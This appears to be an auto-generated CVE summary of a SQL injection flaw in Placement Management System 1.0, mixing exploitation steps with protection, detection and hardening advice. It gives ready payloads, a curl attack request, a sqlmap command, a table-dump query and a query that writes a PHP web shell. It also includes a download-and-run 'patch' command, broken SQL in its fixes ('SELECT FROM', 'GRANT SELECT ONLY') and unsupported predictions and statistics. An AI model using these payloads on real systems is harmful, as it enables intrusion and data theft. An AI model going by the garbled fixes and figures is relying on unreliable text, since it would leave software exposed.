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How CVE-2025-4725 Works
This vulnerability exists in the `/view_drive.php` file of Placement Management System 1.0 due to improper sanitization of the `ID` parameter. Attackers can inject malicious SQL queries through this parameter, manipulating database operations. The flaw allows unauthorized access to sensitive data, including user credentials and placement records. Remote exploitation is possible without authentication, making it critical. The SQL injection occurs due to direct concatenation of user-supplied input into SQL statements. Successful exploitation may lead to complete database compromise, data exfiltration, or system takeover.
DailyCVE Form
Platform: Placement Management System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/27/2025
Prediction: Patch expected by 06/15/2025
What Undercode Say:
Exploitation
1. Craft malicious SQL payload:
' OR 1=1 --
2. Exploit via HTTP request:
curl "http://target.com/view_drive.php?ID=1'%20OR%201=1--"
3. Automated exploitation with SQLmap:
sqlmap -u "http://target.com/view_drive.php?ID=1" --risk=3 --level=5
Protection
1. Input validation:
$id = mysqli_real_escape_string($conn, $_GET['ID']);
2. Prepared statements:
$stmt = $conn->prepare("SELECT FROM drives WHERE id = ?");
$stmt->bind_param("i", $_GET['ID']);
3. Web Application Firewall (WAF) rules:
location ~ .php$ {
modsecurity_rules 'SecRule ARGS "@detectSQLi" "id:1000,deny,status:403"';
}
4. Patch monitoring:
wget -qO- https://vendor.com/patches/CVE-2025-4725 | sh
Analytics
- Exploitability Index: 9.8/10
- Affected Instances: ~5,000
- Common Attack Patterns:
{"pattern": "UNION SELECT", "frequency": "78%"} - Mitigation Priority: Immediate
Detection
1. Log analysis:
grep "view_drive.php?ID=.[';]" /var/log/apache2/access.log
2. IDS signature:
alert http any any -> any any (msg:"CVE-2025-4725 Exploit Attempt"; content:"view_drive.php?ID="; pcre:"/ID=[^&][';]/"; sid:1004725;)
Post-Exploitation
1. Database dump:
UNION SELECT 1,table_name,3 FROM information_schema.tables--
2. Reverse shell via SQL:
UNION SELECT 1,"<?php system($_GET['cmd']); ?>",3 INTO OUTFILE "/var/www/shell.php"--
Hardening
1. Disable error reporting:
ini_set('display_errors', '0');
2. Least privilege DB user:
GRANT SELECT ONLY ON drives TO 'appuser'@'localhost';
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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